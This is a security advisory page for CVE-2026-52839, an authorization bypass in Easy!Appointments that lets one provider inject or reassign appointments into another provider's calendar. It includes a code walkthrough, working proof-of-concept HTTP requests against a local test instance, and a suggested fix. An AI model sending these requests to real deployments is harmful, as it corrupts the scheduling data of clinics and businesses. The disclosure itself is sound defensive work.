GHSA-W8XC-8G92-V77H

Vulnerability from github – Published: 2026-07-29 16:26 – Updated: 2026-07-29 16:26
VLAI
Summary
Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass
Details

Summary

Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.

A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.


Root Cause — Step by Step Code Flow

Step 1 — Search correctly enforces provider isolation

The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:

// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
    foreach ($appointments as $index => $appointment) {
        if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
            unset($appointments[$index]);
        }
    }
}

Step 2 — store() only checks generic add permission

The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:

// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
    abort(403, 'Forbidden');
}

$appointment = json_decode(request('appointment'), true);

Step 3 — Attacker-controlled id_users_provider saved directly

The controller whitelists and persists the appointment including the attacker-controlled provider ID:

$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);

No check is performed to verify id_users_provider matches the current session.

Step 4 — Write-before-crash on store()

After the unauthorized row is committed, the controller crashes on a type error:

$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id

The attacker receives a 500 error response, but the foreign appointment row is already in the database.

Step 5 — update() has the same missing ownership check

The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:

// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
    abort(403, 'Forbidden');
}

$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);

A provider can reassign any appointment they can edit into a foreign provider's calendar.


Proof of Concept

Attacker: Provider with session ID 4 Target: Foreign provider with ID 2

Step 1 — Inject appointment into foreign provider's schedule:

POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded

csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 500 Internal Server Error — type error on find()

But the row is committed:

id  start_datetime        id_users_provider  notes
6   2026-05-29 15:00:00   2                  foreign provider create by alicer

Provider 4 created a row that belongs to provider 2.


Step 2 — Reassign existing appointment to foreign provider:

POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded

csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 200 OK

Result: Appointment 7 now belongs to provider 2 instead of provider 4.

Runtime verification result:

attacker provider id:                    4
foreign created appointment provider id: 2
reassigned appointment provider id:      2
provider-visible appointments:           0
PASS

The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.


Real World Impact

In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:

  • Inject fake appointments into a colleague's schedule causing confusion and double-bookings
  • Move their own appointments into another provider's calendar to hide or offload them
  • Disrupt scheduling integrity for staff and customers
  • Create unauthorized appointments that customers and admins attribute to the wrong provider The write-before-crash bug in store() makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.

Suggested Fix

In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:

if ($role_slug === DB_SLUG_PROVIDER) {
    $appointment['id_users_provider'] = $user_id; // force own provider ID
}

Fix the write-before-crash bug in store():

$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array

Reporter

Yash Shendge (ashrexon) 2026-05-25

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52839"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:26:25Z",
    "nvd_published_at": "2026-07-14T16:17:00Z",
    "severity": "LOW"
  },
  "details": "## Summary\n \nEasy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session.\n \nA normal authenticated provider can inject new appointments into another provider\u0027s schedule via `store`, or reassign existing appointments into a foreign provider\u0027s calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.\n \n---\n \n## Root Cause \u2014 Step by Step Code Flow\n \n### Step 1 \u2014 Search correctly enforces provider isolation\nThe `search` endpoint filters out appointments belonging to other providers \u2014 proving provider isolation is an intended boundary:\n \n```php\n// Appointments.php\nif ($role_slug === DB_SLUG_PROVIDER) {\n    foreach ($appointments as $index =\u003e $appointment) {\n        if ((int) $appointment[\u0027id_users_provider\u0027] !== (int) $user_id) {\n            unset($appointments[$index]);\n        }\n    }\n}\n```\n \n### Step 2 \u2014 store() only checks generic add permission\nThe store endpoint checks only whether the caller can add appointments in general \u2014 no provider ownership check:\n \n```php\n// Appointments.php line 74-152\nif (cannot(\u0027add\u0027, PRIV_APPOINTMENTS)) {\n    abort(403, \u0027Forbidden\u0027);\n}\n \n$appointment = json_decode(request(\u0027appointment\u0027), true);\n```\n \n### Step 3 \u2014 Attacker-controlled id_users_provider saved directly\nThe controller whitelists and persists the appointment including the attacker-controlled provider ID:\n \n```php\n$this-\u003eappointments_model-\u003eonly($appointment, $this-\u003eallowed_appointment_fields);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nNo check is performed to verify `id_users_provider` matches the current session.\n \n### Step 4 \u2014 Write-before-crash on store()\nAfter the unauthorized row is committed, the controller crashes on a type error:\n \n```php\n$appointment = $this-\u003eappointments_model-\u003efind($appointment); // array passed instead of $appointment_id\n```\n \nThe attacker receives a 500 error response, but the foreign appointment row is already in the database.\n \n### Step 5 \u2014 update() has the same missing ownership check\nThe update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check:\n \n```php\n// Appointments.php line 178-196\nif (cannot(\u0027edit\u0027, PRIV_APPOINTMENTS)) {\n    abort(403, \u0027Forbidden\u0027);\n}\n \n$appointment = json_decode(request(\u0027appointment\u0027), true);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nA provider can reassign any appointment they can edit into a foreign provider\u0027s calendar.\n \n---\n \n## Proof of Concept\n \n**Attacker:** Provider with session ID `4`\n**Target:** Foreign provider with ID `2`\n \n**Step 1 \u2014 Inject appointment into foreign provider\u0027s schedule:**\n \n```http\nPOST /index.php/appointments/store HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026appointment={\"start_datetime\":\"2026-05-29 15:00:00\",\"end_datetime\":\"2026-05-29 15:30:00\",\"notes\":\"foreign provider create by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `500 Internal Server Error` \u2014 type error on find()\n \n**But the row is committed:**\n```\nid  start_datetime        id_users_provider  notes\n6   2026-05-29 15:00:00   2                  foreign provider create by alicer\n```\n \nProvider 4 created a row that belongs to provider 2.\n \n---\n \n**Step 2 \u2014 Reassign existing appointment to foreign provider:**\n \n```http\nPOST /index.php/appointments/update HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026appointment={\"id\":7,\"start_datetime\":\"2026-05-30 09:00:00\",\"end_datetime\":\"2026-05-30 09:30:00\",\"notes\":\"reassigned to provider 2 by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `200 OK`\n \n**Result:** Appointment 7 now belongs to provider 2 instead of provider 4.\n \n**Runtime verification result:**\n```\nattacker provider id:                    4\nforeign created appointment provider id: 2\nreassigned appointment provider id:      2\nprovider-visible appointments:           0\nPASS\n```\n \nThe attacker\u0027s appointment search returns 0 results because both proof appointments now belong to the foreign provider.\n \n---\n \n## Real World Impact\n \nIn a multi-provider Easy!Appointments deployment \u2014 a clinic, salon, or service business with multiple staff members \u2014 any authenticated provider can:\n \n- Inject fake appointments into a colleague\u0027s schedule causing confusion and double-bookings\n- Move their own appointments into another provider\u0027s calendar to hide or offload them\n- Disrupt scheduling integrity for staff and customers\n- Create unauthorized appointments that customers and admins attribute to the wrong provider\nThe write-before-crash bug in `store()` makes detection harder \u2014 the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.\n \n---\n \n## Suggested Fix\n \n**In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles:\n \n```php\nif ($role_slug === DB_SLUG_PROVIDER) {\n    $appointment[\u0027id_users_provider\u0027] = $user_id; // force own provider ID\n}\n```\n \n**Fix the write-before-crash bug in `store()`:**\n \n```php\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n$appointment = $this-\u003eappointments_model-\u003efind($appointment_id); // use ID not array\n```\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25",
  "id": "GHSA-w8xc-8g92-v77h",
  "modified": "2026-07-29T16:26:25Z",
  "published": "2026-07-29T16:26:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w8xc-8g92-v77h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52839"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/725eafa647308846ce887657db12771a829e42ef"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection \u2014 Authorization Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…